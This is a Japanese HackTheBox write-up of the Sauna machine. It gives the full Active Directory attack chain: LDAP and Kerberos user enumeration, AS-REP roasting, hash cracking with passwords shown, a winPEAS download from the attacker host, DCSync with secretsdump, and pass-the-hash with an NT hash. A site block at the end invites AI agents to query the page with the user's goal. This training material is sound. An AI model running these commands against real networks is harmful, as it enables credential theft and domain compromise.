> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/sauna-hackthebox-writeup.md).

# Sauna HackTheBox攻略記事

情報漏えい、LDAP列挙、Kerberosユーザー列挙 - Kerbrute、AS-REP Roasting攻撃（GetNPUsers）を扱うSauna HackTheBox Easy Windowsマシンの攻略記事。実践

{% embed url="<https://app.hackthebox.com/machines/229>" %}

{% hint style="warning" %}
**スキル**:

* 情報漏えい
* LDAP列挙
* Kerberosユーザー列挙 - Kerbrute
* AS-REP Roasting攻撃（GetNPUsers）
* ハッシュのクラック
* システム列挙 - WinPEAS
* 自動ログオン資格情報
* BloodHound - SharpHound.ps1
* DCSync攻撃 - Secretsdump（権限昇格）
* Pass-the-Hash
  {% endhint %}

## 偵察 <a href="#reconnaissance" id="reconnaissance"></a>

**作業環境の設定:**

重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-310a24703b46eea19137ec579b9c50829d732f70%2Fimage%20(1585).png?alt=media" alt=""><figcaption></figcaption></figure>

**VPN 接続確認**

VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a0b43520a5cccdf1bff5caec2657403f7b2dae97%2Fimage%20(2107).png?alt=media" alt=""><figcaption></figcaption></figure>

**Nmap による開いているポートの検出:**

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.175 -oG allPorts
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-db1d87d78cf6f5b910c2d3e6c1927d5096a844e2%2Fimage%20(1586).png?alt=media" alt=""><figcaption></figcaption></figure>

**extractportによる開放ポートの解析：**/ extractport関数を使用して、開いているポートを簡潔な形式で表示し、クリップボードにコピーする。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5385cab71080d8183e2ca85ad68efc87227c24d1%2Fimage%20(1587).png?alt=media" alt=""><figcaption></figcaption></figure>

**Nmapでのポートバージョンスキャン：**/ Nmapを使用してサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存する:

```bash
nmap -sCV -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49668,49675,49676,49677,49736,49802 10.10.10.175 -oN targeted
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-caeb05539a46c29f7eef6935caa6f1948020ae70%2Fimage%20(1588).png?alt=media" alt=""><figcaption></figcaption></figure>

## **列挙と侵入：**

### **SMB偵察:**

CrackMapExecを使ってオペレーティングシステムを特定する

```bash
crackmapexec smb 10.10.10.175
```

<div data-full-width="true"><figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-af7bbacef9c95a619c817d43f8e7177496d24782%2Fimage%20(1589).png?alt=media" alt=""><figcaption></figcaption></figure></div>

DNS経由でドメイン名をIPアドレスに解決するには、IPアドレスに関連付けられたドメイン名を `/etc/hosts` ファイルに存在するユーザーに対して試します。<br>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3f283ab64ecc0b715bf1df0463ba9df6c95b9c39%2Fimage%20(1590).png?alt=media" alt=""><figcaption></figcaption></figure>

#### ネットワーク上のSMB共有を調査して共有リソースを特定しようとしたが、結果はなし。

```bash
crackmapexec smb 10.10.10.175 --shares
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-09ebfbfd4336766e7cdcde774d82c47e2d0509df%2Fimage%20(1591).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
smbmap -H 10.10.10.175 -u 'null'
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a643f5fecea9034deaa3b37883484fc26e6facf0%2Fimage%20(1592).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
smbclient -L 10.10.10.175 -N
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-64e5f49dcd6d510d3edb53fcfb61b51232b68034%2Fimage%20(1593).png?alt=media" alt=""><figcaption></figcaption></figure>

### **RPC偵察:**

rpcclientを使用してCPPサービスとやり取りし、リソース情報を収集する

```bash
rpcclient -U "" 10.10.10.175 -N
enumdomusers
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4a304257295082b83ac567af1f37a65a4184332c%2Fimage%20(1594).png?alt=media" alt=""><figcaption></figcaption></figure>

### **LDAPの偵察:**

{% embed url="<https://book.hacktricks.xyz/network-services-pentesting/pentesting-ldap#ldapsearch>" %}

#### ドメイン構造とユーザーの詳細を確認するためのLDAP情報の分析。

```bash
ldapsearch -x -H ldap://10.10.10.175 -s base namingcontexts
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7693fc0d7faa3efcfec825d3530ac90ba336e39d%2Fimage%20(1595).png?alt=media" alt=""><figcaption></figcaption></figure>

**LDAP情報の分析**

ドメイン構造とユーザーの詳細を分析する。

```bash
ldapsearch -x -H ldap://10.10.10.175 -b 'DC=EGOTISTICAL-BANK,DC=LOCAL
```

**LDAPユーザーのフィルタリング**

LDAPユーザーのみを取得するためのフィルタ。

```bash
ldapsearch -x -H ldap://10.10.10.175 -b 'DC=EGOTISTICAL-BANK,DC=LOCAL' | grep "dn: CN=" | sed 's/dn: CN=//;s/,DC=EGOTISTICAL-BANK,DC=LOCAL//'
```

<div data-full-width="true"><figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fc5fbff793904922b072c824e04af25214a0ea04%2Fimage%20(1596).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### ユーザー一覧:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fea84d7fa4e497af6c17da5d5571c444b6726ceb%2Fimage%20(1597).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 作成する `users.txt` 候補ユーザー名を含むファイル。

```
hugosmith
h.smith 
hugo.smith
hsmith

fergussmith
f.smith 
fergus.smith 
fsmith

hugobear
h.bear
hugo.bear
hbear

stevenkerb
s.kerb
steven.kerb
skerb

shauncoins
s.coins
shaun.coins
scoins

bowietaylor
b.taylor
bowie.taylor
btaylor

sophiedriver
s.driver
sophie.driver
sdriver
```

### **Kerberos経由のユーザー一覧**

を使用する `kerbrute` 有効なユーザーを一覧表示するため。

```bash
./kerbrute userenum -d egotistical-bank.local --dc 10.10.10.175 users.txt
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-28b3ee1bb1aedfe94570b3145a047ad2d5c5fcee%2Fimage%20(1600).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Impacket経由のユーザー一覧**

を使用する `impacket-GetNPUsers` パスワードなしで有効なユーザーを一覧表示するため。

```bash
impacket-GetNPUsers egotistical-bank.local/ -no-pass -usersfile users.txt
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0f30648a83eaf6b67bf4f6a5bd5e947b5f820157%2Fimage%20(1601).png?alt=media" alt=""><figcaption></figcaption></figure>

### ブルートフォース攻撃:

回収したハッシュをJohnで解析する。

<pre class="language-bash"><code class="lang-bash"><strong>john --wordlist=/usr/share/wordlists/rockyou.txt hash
</strong></code></pre>

<div data-full-width="true"><figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c4e0bdfc9350f7267488c07b3ebddcfc70fdeabc%2Fimage%20(1602).png?alt=media" alt=""><figcaption></figcaption></figure></div>

#### 接続とリモート制御

WinRMを使ってリモート接続する。

```bash
crackmapexec smb 10.10.10.175 -u 'fsmith' -p 'Thestrokes23'
```

#### 動作はするが、pwnedマークがないとWinRM経由で接続できない。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ca43869dc4b550554dc082e3edff74208c89c4a8%2Fimage%20(1603).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fe2cb3a05e5f3688972f66e9e46060cc1299334c%2Fimage%20(1604).png?alt=media" alt=""><figcaption></figcaption></figure>

この例では、ユーザーfsmithが/\*Remote Management Usersグループのメンバーであるため接続可能。

```bash
crackmapexec winrm 10.10.10.175 -u 'fsmith' -p 'Thestrokes23'
```

<div data-full-width="true"><figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2abacec7464bd812b568c9c74daa81a1b9b9aa8d%2Fimage%20(1605).png?alt=media" alt=""><figcaption></figcaption></figure></div>

#### **Evil-WinRMでログイン**

WinRM経由の対話型接続にEvil-WinRMを使用する。

```bash
evil-winrm -i 10.10.10.175 -u 'fsmith' -p 'Thestrokes23'
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1a99226db41358e32312403121b1f233df07adc6%2Fimage%20(1584).png?alt=media" alt=""><figcaption></figcaption></figure>

## 権限昇格：

#### **特別な権限の確認:**

を使用する `whoami /priv` 特別な権限を確認するため。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f93fa67ecb09f31aefe548796ebd5f70c950e225%2Fimage%20(2108).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **新しいユーザーを検索**

を使用する `net user` 新しいユーザーを検索するため。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-af7db18c8fd5c8a9417e1178ffa85b24f46a237a%2Fimage%20(2109).png?alt=media" alt=""><figcaption></figcaption></figure>

**ユーザー「svc/loanmgr」の資格情報を検索**

### **〜による列挙** winPEAS.exe

{% embed url="<https://github.com/carlospolop/PEASS-ng/releases/tag/20220717>" %}

winPEAS列挙ツールをダウンロードして実行する

```bash
Invoke-WebRequest -Uri "http://10.10.14.4:445/winPEASx64.exe" -OutFile "winPEAS.exe"
./winPEAS.exe
```

<div data-full-width="true"><figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a31684b5c7d6126575256e88098446cbee50ecaa%2Fimage%20(2110).png?alt=media" alt=""><figcaption></figcaption></figure></div>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-55f39baccc22d7c19e2ad6b99f36f9638d18ba3d%2Fimage%20(2111).png?alt=media" alt=""><figcaption></figcaption></figure>

### crackmapexecで見つかったIDの検証:

ユーザーの自動ログオン資格情報 `svc_loanmgr` が見つかり、パスワード

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-09b16aa8e0252842a0203b3b515dc47dca938576%2Fimage%20(2112).png?alt=media" alt=""><figcaption></figcaption></figure>

#### crackmapexecを使ってパスワードが正しいことを検証する。

```bash
crackmapexec winrm 10.10.10.175 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!'
```

<div data-full-width="true"><figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6cac348f64f34f7147d36dbb979684300e4d7bec%2Fimage%20(2115).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### 「svc/loanmgr」IDでの接続:

```bash
evil-winrm -i 10.10.10.175 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!'
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-30d432b3473443338c1fd041b985b3308ee079bb%2Fimage%20(2116).png?alt=media" alt=""><figcaption></figcaption></figure>

## BloodHoundによるドメイン一覧:

<details>

<summary>BloodHoundのインストール:</summary>

```bash
apt install neo4j bloodhound
neo4j console &> /dev/null & disown
lsof -i:7474
```

#### neo4j:neo4jの資格情報でBloodHoundに接続する。

<img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ef9463a37fbf4c95e7d8c5b54b5719e9a0212f79%2Fimage%20(2117).png?alt=media" alt="" data-size="original">

#### BloodHoundを起動する。

```bash
bloodhound &> /dev/null & disown
```

<img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4cbcd2ee0951015419e37b8c5659c57d4a2f16c7%2Fimage%20(2118).png?alt=media" alt="" data-size="original">

</details>

### SharpHound.ps1で情報を収集する

{% embed url="<https://github.com/puckiestyle/powershell/blob/master/SharpHound.ps1>" %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e070f9cde080c37805c4e3ce02ee3d5246ef8432%2Fimage%20(2119).png?alt=media" alt=""><figcaption></figcaption></figure>

### 収集したデータをLinuxへ転送し、BloodHoundへインポートする

#### 収集結果を含む.zipファイルを作成する。

```bash
Import-Module ./sharhound.ps1
Invoke-BloodHound -CollectionMethod All
```

#### WindowsマシンからLinuxへzipファイルをダウンロードする。

```powershell
download PS C:/windows/temp/privesc/file.zip file.zip
```

#### zipファイルをBloodHoundへインポートする。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-10d80ac4c967e7330846a819406ba948417a1b6a%2Fimage%20(1578).png?alt=media" alt=""><figcaption></figcaption></figure>

### 分析と操作:

#### 管理者への最短パスでフィルタリングする

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2c5100e71e29b06f16fe8170302cd0f2cebed1f2%2Fimage%20(1579).png?alt=media" alt=""><figcaption></figcaption></figure>

#### このツールはDCsync攻撃を実行できる可能性を示している。

<div data-full-width="true"><figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6cd7c25059eb82aaade3a7b64307dcdbed29905f%2Fimage%20(1580).png?alt=media" alt=""><figcaption></figcaption></figure></div>

## DCSync脆弱性攻撃:

{% embed url="<https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/dcsync>" %}

#### secretsdumpを使って管理者ユーザーのNTハッシュを取得する。

```bash
impacket-secretsdump EGOTISTICAL-BANK.LOCAL/svc_loanmgr@10.10.10.175
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9de39224ffb84c9fb82d84c0a91084614855a467%2Fimage%20(1581).png?alt=media" alt=""><figcaption></figcaption></figure>

#### psexecを使ってNTハッシュで管理者としてcmdを実行する。

```bash
impacket-psexec EGOTISTICAL-BANK.LOCAL/Administrator@10.10.10.175 cmd.exe -hashes :823452073d75b9d1cf70ebdf86c7f98e
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-68e562b1ff81b0ea81b369443b63ff2bfa135317%2Fimage%20(1582).png?alt=media" alt=""><figcaption></figcaption></figure>

### 最終フラグ :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3a5d344ceda16942038635f9a7c21f5cc9e8982f%2Fimage%20(1583).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-86552d857db97a01a4afebe8a7ad592783983032%2Fimage%20(1412).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/sauna-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
